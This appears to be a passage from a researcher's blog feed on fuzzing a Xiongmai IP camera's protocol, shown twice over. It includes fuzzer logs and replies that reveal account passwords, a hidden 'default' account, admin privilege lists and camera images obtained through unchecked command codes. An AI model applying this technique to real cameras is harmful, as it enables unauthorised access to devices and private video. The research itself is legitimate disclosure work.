0x0ff9 :  unused : 11108002682450497409 :   00:00:00.422467000
0x0ffa :  unused : 11116907754345188397 :   00:00:00.421792000
0x0ffb :  unused :  8156710575546691230 :   00:00:00.421819000
0x1000 :  unused :  6252091348165092127 :   00:00:00.384556000
0x0fe9 :  unused :  5183855669207984885 :   00:00:00.751042000
0x0fea :  unused :   829040888724800310 :   00:00:00.750799000

Status
Factory: done
Last Check In: 2019-04-17 10:59:17 -07:00
Total Successes: 3983
Total Unique Replies: 49
Total Bad Results: 114
Error:
Errors: {}</code></pre>
<p>Using this we can fuzz a space of 0x0 to 0x1000 in only 30 minutes!</p>
<p>Each fiber will use it&#39;s own socket, send a message, then wait to receive on. If the timeout becomes to great, it drops the message and moves to the next one.</p>
<p>If the camera turns off for some reason, a 2 minute grace period is applied to the time out, to wait for it to attempt to come back. This to ensure all the ground is still covered. This does mean that someone does have to be around to restart the camera if it does go down, but maybe I&#39;ll make a raspberry pi that shuts the thing down with a relay one day.</p>
<p>You can view an example log <a href="https://github.com/sol-vin/xiongmai-investigational-journey/blob/master/logs/magic_fuzzer_logs/system_info.log">here</a>. I&#39;ll be dissecting this log for starters.</p>
<p>The most common reply is,</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;SystemInfo\&quot;, \&quot;Ret\&quot; : 102, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;</code></pre>
<br>
<p>With around 4000 magics.</p>
<p>This one is a login failure packet. Interestingly enough, it reports a different error code if it doesn&#39;t get a password or username, 205.</p>
<pre class="code-block"><code>&quot;{ \&quot;AliveInterval\&quot; : 0, \&quot;ChannelNum\&quot; : 0, \&quot;DeviceType \&quot; : \&quot;DVR\&quot;, \&quot;ExtraChannel\&quot; : 10744252, \&quot;Ret\&quot; : 205, \&quot;SessionID\&quot; : \&quot;0x0000000B\&quot; }\n&quot;
    Bytes: [&quot;0x03e8&quot;]</code></pre>
<p>Whatever these ones do, they report success. Could be interesting to find out exactly what these guys do.</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x03ea&quot;, &quot;0x0410&quot;, &quot;0x0416&quot;, &quot;0x041a&quot;, &quot;0x0578&quot;, &quot;0x05e0&quot;, &quot;0x05dc&quot;, &quot;0x05de&quot;, &quot;0x0670&quot;, &quot;0x06ea&quot;, &quot;0x0684&quot;, &quot;0x0676&quot;, &quot;0x07d2&quot;]</code></pre>
<p>This one is the &quot;keep alive&quot;, which keeps the connection to the camera going as long as it recieves a keep alive packet.</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;KeepAlive\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x03ee&quot;]</code></pre>
<p>After some pretty standard results, as well as the actual reply for SystemInfo, we eventually get to an interesting territory that shows us a little insight into the protocol.</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;OPMonitor\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0582&quot;, &quot;0x0585&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPPlayBack\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x058c&quot;, &quot;0x0591&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPPlayBack\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0590&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTalk\&quot;, \&quot;Ret\&quot; : 504, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0596&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTalk\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x059a&quot;, &quot;0x059b&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 119, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05a0&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPLogQuery\&quot;, \&quot;OPLogQuery\&quot; : null, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x0\&quot; }\n&quot;
    Bytes: [&quot;0x05a2&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPSCalendar\&quot;, \&quot;OPSCalendar\&quot; : { \&quot;Mask\&quot; : 0 }, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x0\&quot; }\n&quot;
    Bytes: [&quot;0x05a6&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 109, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05a8&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTimeQuery\&quot;, \&quot;OPTimeQuery\&quot; : \&quot;2000-12-07 02:55:43\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x0\&quot; }\n&quot;
    Bytes: [&quot;0x05ac&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05b4&quot;, &quot;0x0828&quot;]</code></pre>
<p>The original command we were fuzzing is &quot;SystemInfo&quot;. Why is the returning name something different, like OPSCalendar? This is interesting, it means that not only does the magic field control command type, some of these commands are not programmed with very much error checking, so they can produce some wild results when poked and prodded in the right way. We also now have new command names to fuzz.</p>
<pre class="code-block"><code>&quot;{ \&quot;AuthorityList\&quot; : [ \&quot;ShutDown\&quot;, \&quot;ChannelTitle\&quot;, \&quot;RecordConfig\&quot;, \&quot;Backup\&quot;, \&quot;StorageManager\&quot;, \&quot;Account\&quot;, \&quot;SysInfo\&quot;, \&quot;QueryLog\&quot;, \&quot;DelLog\&quot;, \&quot;SysUpgrade\&quot;, \&quot;AutoMaintain\&quot;, \&quot;TourConfig\&quot;, \&quot;TVadjustConfig\&quot;, \&quot;GeneralConfig\&quot;, \&quot;EncodeConfig\&quot;, \&quot;CommConfig\&quot;, \&quot;NetConfig\&quot;, \&quot;AlarmConfig\&quot;, \&quot;VideoConfig\&quot;, \&quot;PtzConfig\&quot;, \&quot;PTZControl\&quot;, \&quot;DefaultConfig\&quot;, \&quot;Talk_01\&quot;, \&quot;IPCCamera\&quot;, \&quot;ImExport\&quot;, \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05be&quot;]
&quot;{ \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot;, \&quot;Users\&quot; : [ { \&quot;AuthorityList\&quot; : [ \&quot;ShutDown\&quot;, \&quot;ChannelTitle\&quot;, \&quot;RecordConfig\&quot;, \&quot;Backup\&quot;, \&quot;StorageManager\&quot;, \&quot;Account\&quot;, \&quot;SysInfo\&quot;, \&quot;QueryLog\&quot;, \&quot;DelLog\&quot;, \&quot;SysUpgrade\&quot;, \&quot;AutoMaintain\&quot;, \&quot;TourConfig\&quot;, \&quot;TVadjustConfig\&quot;, \&quot;GeneralConfig\&quot;, \&quot;EncodeConfig\&quot;, \&quot;CommConfig\&quot;, \&quot;NetConfig\&quot;, \&quot;AlarmConfig\&quot;, \&quot;VideoConfig\&quot;, \&quot;PtzConfig\&quot;, \&quot;PTZControl\&quot;, \&quot;DefaultConfig\&quot;, \&quot;Talk_01\&quot;, \&quot;IPCCamera\&quot;, \&quot;ImExport\&quot;, \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Group\&quot; : \&quot;admin\&quot;, \&quot;Memo\&quot; : \&quot;admin &#39;s account\&quot;, \&quot;Name\&quot; : \&quot;admin\&quot;, \&quot;NoMD5\&quot; : null, \&quot;Password\&quot; : \&quot;mF95aD4o\&quot;, \&quot;Reserved\&quot; : true, \&quot;Sharable\&quot; : true }, { \&quot;AuthorityList\&quot; : [ \&quot;Monitor_01\&quot; ], \&quot;Group\&quot; : \&quot;user\&quot;, \&quot;Memo\&quot; : \&quot;default account\&quot;, \&quot;Name\&quot; : \&quot;default\&quot;, \&quot;NoMD5\&quot; : null, \&quot;Password\&quot; : \&quot;OxhlwSG8\&quot;, \&quot;Reserved\&quot; : false, \&quot;Sharable\&quot; : false } ] }\n&quot;
    Bytes: [&quot;0x05c0&quot;]
&quot;{ \&quot;Groups\&quot; : [ { \&quot;AuthorityList\&quot; : [ \&quot;ShutDown\&quot;, \&quot;ChannelTitle\&quot;, \&quot;RecordConfig\&quot;, \&quot;Backup\&quot;, \&quot;StorageManager\&quot;, \&quot;Account\&quot;, \&quot;SysInfo\&quot;, \&quot;QueryLog\&quot;, \&quot;DelLog\&quot;, \&quot;SysUpgrade\&quot;, \&quot;AutoMaintain\&quot;, \&quot;TourConfig\&quot;, \&quot;TVadjustConfig\&quot;, \&quot;GeneralConfig\&quot;, \&quot;EncodeConfig\&quot;, \&quot;CommConfig\&quot;, \&quot;NetConfig\&quot;, \&quot;AlarmConfig\&quot;, \&quot;VideoConfig\&quot;, \&quot;PtzConfig\&quot;, \&quot;PTZControl\&quot;, \&quot;DefaultConfig\&quot;, \&quot;Talk_01\&quot;, \&quot;IPCCamera\&quot;, \&quot;ImExport\&quot;, \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Memo\&quot; : \&quot;administrator group\&quot;, \&quot;Name\&quot; : \&quot;admin\&quot; }, { \&quot;AuthorityList\&quot; : [ \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Memo\&quot; : \&quot;user group\&quot;, \&quot;Name\&quot; : \&quot;user\&quot; } ], \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05c2&quot;]</code></pre>
<p>Now we start getting into the tastiest meat!</p>
<pre class="code-block"><code>{ \&quot;AuthorityList\&quot; : [ \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Memo\&quot; : \&quot;user group\&quot;, \&quot;Name\&quot; : \&quot;user\&quot; } ], \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;</code></pre>
<p>Here we find a hidden user account, &quot;default&quot; with stream only privileges. This is great! It&#39;s a new avenue to check. It&#39;s possible the &quot;authorities list&quot; wasn&#39;t set up right, and it may allow us to access functions of the camera without the need for a login. This account also isn&#39;t mentioned anywhere in the manuals for the device.</p>
<p>We can also see the full authority list for &quot;admin&quot;, which includes shutdown and upgrade privileges. Juicy!</p>
<pre class="code-block"><code>BINARY FILE &quot;{ \&quot;command\&quot; : \&quot;sync\&quot;,&quot;
    Bytes: [&quot;0x0666&quot;]</code></pre>
<p>This one is particularly interesting, my fuzzer flagged it as a &quot;binary file&quot; because it couldn&#39;t parse it into JSON. It seems like the command cut off part way through sending, maybe something interesting is happening (like crash).</p>
<pre class="code-block"><code>BINARY FILE &quot;PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\u000FiP\xB9\a\u0000\u0000&quot;
    Bytes: [&quot;0x0606&quot;]
BINARY FILE &quot;PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xE6\xE5\x90\u0618\u0002\u0000\u0000\u0004&quot;
    Bytes: [&quot;0x0608&quot;]
BINARY FILE &quot;PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xC4\u0003#\&quot;\u0018\u0000\u0000&quot;
    Bytes: [&quot;0x066c&quot;]</code></pre>
<p>We also get some zip files which contains settings dumps, while interesting don&#39;t contain anything we didn&#39;t already know about the camera.</p>
<pre class="code-block"><code>BINARY FILE &quot;\xFF\xD8\xFF\xE0\u0000\u0010JFIF\u0000\u0001\u0001\u0000\u0000\u0001\u0000\u0001\u0000\u0000\xFF&quot;
    Bytes: [&quot;0x0618&quot;]</code></pre>
<p>0x0618 gives us an image from the camera, will be useful for later.</p>
<p>Overall, we&#39;ve gained some interesting insight into the device, and we haven&#39;t even fuzzed all the commands, and the unauthenticated user account yet!</p>
<p>The user account &quot;default&quot; ends up giving us a clear picture of whats going on. Since it only has stream privileges, most of it&#39;s replies are stream related.</p>
<pre class="code-block"><code>Command results: Started at 2019-04-18 20:07:00 -07:00
Total time: 00:51:34.994305000

&quot;{ \&quot;AliveInterval\&quot; : 0, \&quot;ChannelNum\&quot; : 0, \&quot;DeviceType \&quot; : \&quot;DVR\&quot;, \&quot;ExtraChannel\&quot; : 10976316, \&quot;Ret\&quot; : 205, \&quot;SessionID\&quot; : \&quot;0x000042C9\&quot; }\n&quot;
    Bytes: [&quot;0x03e8&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 102, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x03f2&quot;, &quot;0x080e&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPMonitor\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0585&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPPlayBack\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0590&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTalk\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x059a&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;GetSafetyAbility\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot;, \&quot;authorizeStat\&quot; : null }\n&quot;
    Bytes: [&quot;0x0672&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPRecordSnap\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x07fc&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 105, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0852&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 106, \&quot;SessionID\&quot; : \&quot;0x000066E9\&quot; }\n&quot;
    Bytes: [&quot;0x02ee&quot;, &quot;0x0192&quot;, &quot;0x00a7&quot;, &quot;0x0e27&quot;, &quot;0x0041&quot;, &quot;0x01c1&quot;, &quot;0x0032&quot;, &quot;0x0fa6&quot;, &quot;0x03f7&quot;, &quot;0x0740&quot;, &quot;0x0d85&quot;, &quot;0x0c3e&quot;, &quot;0x095d&quot;, &quot;0x06ee&quot;, &quot;0x02b7&quot;, &quot;0x08ac&quot;, &quot;0x0db9&quot;, &quot;0x08d6&quot;, &quot;0x00bb&quot;, &quot;0x0b37&quot;, &quot;0x0606&quot;, &quot;0x0996&quot;, &quot;0x0cfb&quot;, &quot;0x0afa&quot;, &quot;0x00ba&quot;, &quot;0x0974&quot;, &quot;0x0d51&quot;, &quot;0x0906&quot;, &quot;0x0f42&quot;, &quot;0x05e2&quot;]</code></pre>
]]></description>
      <content:encoded><![CDATA[<p>During my testing I noticed an interesting quirk of this protocol, the server (camera) would allow as many connections as one wanted open to the same ip address, so long as they were all on different ports. This meant that if I could create a &quot;pool&quot; of sockets, I could use them to audit multiple magics at once, each waiting for their own replies.</p>
<p>You can view the relevant code on <a href="https://github.com/sol-vin/xiongmai-investigational-journey/blob/master/src/magic_fuzzer/magic_fuzzer.cr">GitHub</a>.</p>
<pre class="code-block"><code>Fuzzing Command::SystemInfo
Time: 00:29:14.794430000
Current: 4096/4097 : 1000
Total Completion: 99.976%
Waiting for magics:
0x0ffc :  unused : 15642636659266745398 :   00:00:00.394592000
0x0ffd :  unused :  3995498554981886474 :   00:00:00.394431000
0x0ff1 :  unused : 16849123052220723596 :   00:00:00.424488000
0x0ffe :  unused : 15843022912141103538 :   00:00:00.385055000
0x0ff2 :  unused :   666834066939202384 :   00:00:00.424001000
0x0ff3 :  unused : 11959220922209025486 :   00:00:00.423846000
0x0ff4 :  unused :  9858625403406765244 :   00:00:00.423865000
0x0ff5 :  unused :    20212055150009910 :   00:00:00.423179000
0x0fff :  unused : 15147142017989187717 :   00:00:00.384266000
0x0ff6 :  unused : 16036212785124225768 :   00:00:00.423033000
0x0ff7 :  unused :  3934626923425214118 :   00:00:00.423048000
0x0fef :  unused :   784495433133620875 :   00:00:00.465630000
0x0ff0 :  unused :  8924739629740135316 :   00:00:00.465648000
0x0ff8 :  unused : 17166435733447359522 :   00:00:00.422446000
0x0ff9 :  unused : 11108002682450497409 :   00:00:00.422467000
0x0ffa :  unused : 11116907754345188397 :   00:00:00.421792000
0x0ffb :  unused :  8156710575546691230 :   00:00:00.421819000
0x1000 :  unused :  6252091348165092127 :   00:00:00.384556000
0x0fe9 :  unused :  5183855669207984885 :   00:00:00.751042000
0x0fea :  unused :   829040888724800310 :   00:00:00.750799000

Status
Factory: done
Last Check In: 2019-04-17 10:59:17 -07:00
Total Successes: 3983
Total Unique Replies: 49
Total Bad Results: 114
Error:
Errors: {}</code></pre>
<p>Using this we can fuzz a space of 0x0 to 0x1000 in only 30 minutes!</p>
<p>Each fiber will use it&#39;s own socket, send a message, then wait to receive on. If the timeout becomes to great, it drops the message and moves to the next one.</p>
<p>If the camera turns off for some reason, a 2 minute grace period is applied to the time out, to wait for it to attempt to come back. This to ensure all the ground is still covered. This does mean that someone does have to be around to restart the camera if it does go down, but maybe I&#39;ll make a raspberry pi that shuts the thing down with a relay one day.</p>
<p>You can view an example log <a href="https://github.com/sol-vin/xiongmai-investigational-journey/blob/master/logs/magic_fuzzer_logs/system_info.log">here</a>. I&#39;ll be dissecting this log for starters.</p>
<p>The most common reply is,</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;SystemInfo\&quot;, \&quot;Ret\&quot; : 102, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;</code></pre>
<br>
<p>With around 4000 magics.</p>
<p>This one is a login failure packet. Interestingly enough, it reports a different error code if it doesn&#39;t get a password or username, 205.</p>
<pre class="code-block"><code>&quot;{ \&quot;AliveInterval\&quot; : 0, \&quot;ChannelNum\&quot; : 0, \&quot;DeviceType \&quot; : \&quot;DVR\&quot;, \&quot;ExtraChannel\&quot; : 10744252, \&quot;Ret\&quot; : 205, \&quot;SessionID\&quot; : \&quot;0x0000000B\&quot; }\n&quot;
    Bytes: [&quot;0x03e8&quot;]</code></pre>
<p>Whatever these ones do, they report success. Could be interesting to find out exactly what these guys do.</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x03ea&quot;, &quot;0x0410&quot;, &quot;0x0416&quot;, &quot;0x041a&quot;, &quot;0x0578&quot;, &quot;0x05e0&quot;, &quot;0x05dc&quot;, &quot;0x05de&quot;, &quot;0x0670&quot;, &quot;0x06ea&quot;, &quot;0x0684&quot;, &quot;0x0676&quot;, &quot;0x07d2&quot;]</code></pre>
<p>This one is the &quot;keep alive&quot;, which keeps the connection to the camera going as long as it recieves a keep alive packet.</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;KeepAlive\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x03ee&quot;]</code></pre>
<p>After some pretty standard results, as well as the actual reply for SystemInfo, we eventually get to an interesting territory that shows us a little insight into the protocol.</p>
<pre class="code-block"><code>&quot;{ \&quot;Name\&quot; : \&quot;OPMonitor\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0582&quot;, &quot;0x0585&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPPlayBack\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x058c&quot;, &quot;0x0591&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPPlayBack\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0590&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTalk\&quot;, \&quot;Ret\&quot; : 504, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x0596&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTalk\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x059a&quot;, &quot;0x059b&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 119, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05a0&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPLogQuery\&quot;, \&quot;OPLogQuery\&quot; : null, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x0\&quot; }\n&quot;
    Bytes: [&quot;0x05a2&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPSCalendar\&quot;, \&quot;OPSCalendar\&quot; : { \&quot;Mask\&quot; : 0 }, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x0\&quot; }\n&quot;
    Bytes: [&quot;0x05a6&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 109, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05a8&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;OPTimeQuery\&quot;, \&quot;OPTimeQuery\&quot; : \&quot;2000-12-07 02:55:43\&quot;, \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x0\&quot; }\n&quot;
    Bytes: [&quot;0x05ac&quot;]
&quot;{ \&quot;Name\&quot; : \&quot;\&quot;, \&quot;Ret\&quot; : 103, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05b4&quot;, &quot;0x0828&quot;]</code></pre>
<p>The original command we were fuzzing is &quot;SystemInfo&quot;. Why is the returning name something different, like OPSCalendar? This is interesting, it means that not only does the magic field control command type, some of these commands are not programmed with very much error checking, so they can produce some wild results when poked and prodded in the right way. We also now have new command names to fuzz.</p>
<pre class="code-block"><code>&quot;{ \&quot;AuthorityList\&quot; : [ \&quot;ShutDown\&quot;, \&quot;ChannelTitle\&quot;, \&quot;RecordConfig\&quot;, \&quot;Backup\&quot;, \&quot;StorageManager\&quot;, \&quot;Account\&quot;, \&quot;SysInfo\&quot;, \&quot;QueryLog\&quot;, \&quot;DelLog\&quot;, \&quot;SysUpgrade\&quot;, \&quot;AutoMaintain\&quot;, \&quot;TourConfig\&quot;, \&quot;TVadjustConfig\&quot;, \&quot;GeneralConfig\&quot;, \&quot;EncodeConfig\&quot;, \&quot;CommConfig\&quot;, \&quot;NetConfig\&quot;, \&quot;AlarmConfig\&quot;, \&quot;VideoConfig\&quot;, \&quot;PtzConfig\&quot;, \&quot;PTZControl\&quot;, \&quot;DefaultConfig\&quot;, \&quot;Talk_01\&quot;, \&quot;IPCCamera\&quot;, \&quot;ImExport\&quot;, \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05be&quot;]
&quot;{ \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot;, \&quot;Users\&quot; : [ { \&quot;AuthorityList\&quot; : [ \&quot;ShutDown\&quot;, \&quot;ChannelTitle\&quot;, \&quot;RecordConfig\&quot;, \&quot;Backup\&quot;, \&quot;StorageManager\&quot;, \&quot;Account\&quot;, \&quot;SysInfo\&quot;, \&quot;QueryLog\&quot;, \&quot;DelLog\&quot;, \&quot;SysUpgrade\&quot;, \&quot;AutoMaintain\&quot;, \&quot;TourConfig\&quot;, \&quot;TVadjustConfig\&quot;, \&quot;GeneralConfig\&quot;, \&quot;EncodeConfig\&quot;, \&quot;CommConfig\&quot;, \&quot;NetConfig\&quot;, \&quot;AlarmConfig\&quot;, \&quot;VideoConfig\&quot;, \&quot;PtzConfig\&quot;, \&quot;PTZControl\&quot;, \&quot;DefaultConfig\&quot;, \&quot;Talk_01\&quot;, \&quot;IPCCamera\&quot;, \&quot;ImExport\&quot;, \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Group\&quot; : \&quot;admin\&quot;, \&quot;Memo\&quot; : \&quot;admin &#39;s account\&quot;, \&quot;Name\&quot; : \&quot;admin\&quot;, \&quot;NoMD5\&quot; : null, \&quot;Password\&quot; : \&quot;mF95aD4o\&quot;, \&quot;Reserved\&quot; : true, \&quot;Sharable\&quot; : true }, { \&quot;AuthorityList\&quot; : [ \&quot;Monitor_01\&quot; ], \&quot;Group\&quot; : \&quot;user\&quot;, \&quot;Memo\&quot; : \&quot;default account\&quot;, \&quot;Name\&quot; : \&quot;default\&quot;, \&quot;NoMD5\&quot; : null, \&quot;Password\&quot; : \&quot;OxhlwSG8\&quot;, \&quot;Reserved\&quot; : false, \&quot;Sharable\&quot; : false } ] }\n&quot;
    Bytes: [&quot;0x05c0&quot;]
&quot;{ \&quot;Groups\&quot; : [ { \&quot;AuthorityList\&quot; : [ \&quot;ShutDown\&quot;, \&quot;ChannelTitle\&quot;, \&quot;RecordConfig\&quot;, \&quot;Backup\&quot;, \&quot;StorageManager\&quot;, \&quot;Account\&quot;, \&quot;SysInfo\&quot;, \&quot;QueryLog\&quot;, \&quot;DelLog\&quot;, \&quot;SysUpgrade\&quot;, \&quot;AutoMaintain\&quot;, \&quot;TourConfig\&quot;, \&quot;TVadjustConfig\&quot;, \&quot;GeneralConfig\&quot;, \&quot;EncodeConfig\&quot;, \&quot;CommConfig\&quot;, \&quot;NetConfig\&quot;, \&quot;AlarmConfig\&quot;, \&quot;VideoConfig\&quot;, \&quot;PtzConfig\&quot;, \&quot;PTZControl\&quot;, \&quot;DefaultConfig\&quot;, \&quot;Talk_01\&quot;, \&quot;IPCCamera\&quot;, \&quot;ImExport\&quot;, \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Memo\&quot; : \&quot;administrator group\&quot;, \&quot;Name\&quot; : \&quot;admin\&quot; }, { \&quot;AuthorityList\&quot; : [ \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Memo\&quot; : \&quot;user group\&quot;, \&quot;Name\&quot; : \&quot;user\&quot; } ], \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;
    Bytes: [&quot;0x05c2&quot;]</code></pre>
<p>Now we start getting into the tastiest meat!</p>
<pre class="code-block"><code>{ \&quot;AuthorityList\&quot; : [ \&quot;Monitor_01\&quot;, \&quot;Replay_01\&quot; ], \&quot;Memo\&quot; : \&quot;user group\&quot;, \&quot;Name\&quot; : \&quot;user\&quot; } ], \&quot;Ret\&quot; : 100, \&quot;SessionID\&quot; : \&quot;0x00000000\&quot; }\n&quot;</code></pre>
<p>Here we find a hidden user account, &quot;default&quot; with stream only privileges. This is great! It&#39;s a new avenue to check. It&#39;s possible the &quot;authorities list&quot; wasn&#39;t set up right, and it may allow us to access functions of the camera without the need for a login. This account also isn&#39;t mentioned anywhere in the manuals for the device.</p>
<p>We can also see the full authority list for &quot;admin&quot;, which includes shutdown and upgrade privileges. Juicy!</p>
<pre class="code-block"><code>BINARY FILE &quot;{ \&quot;command\&quot; : \&quot;sync\&quot;,&quot;
    Bytes: [&quot;0x0666&quot;]</code></pre>
<p>This one is particularly interesting, my fuzzer flagged it as a &quot;binary file&quot; because it couldn&#39;t parse it into JSON. It seems like the command cut off part way through sending, maybe something interesting is happening (like crash).</p>
<pre class="code-block"><code>BINARY FILE &quot;PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\u000FiP\xB9\a\u0000\u0000&quot;
    Bytes: [&quot;0x0606&quot;]
BINARY FILE &quot;PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xE6\xE5\x90\u0618\u0002\u0000\u0000\u0004&quot;
    Bytes: [&quot;0x0608&quot;]
BINARY FILE &quot;PK\u0003\u0004\u0014\u0000\u0000\u0000\b\u0000\u0000\u0000 \u0000\xC4\u0003#\&quot;\u0018\u0000\u0000&quot;
    Bytes: [&quot;0x066c&quot;]</code></pre>
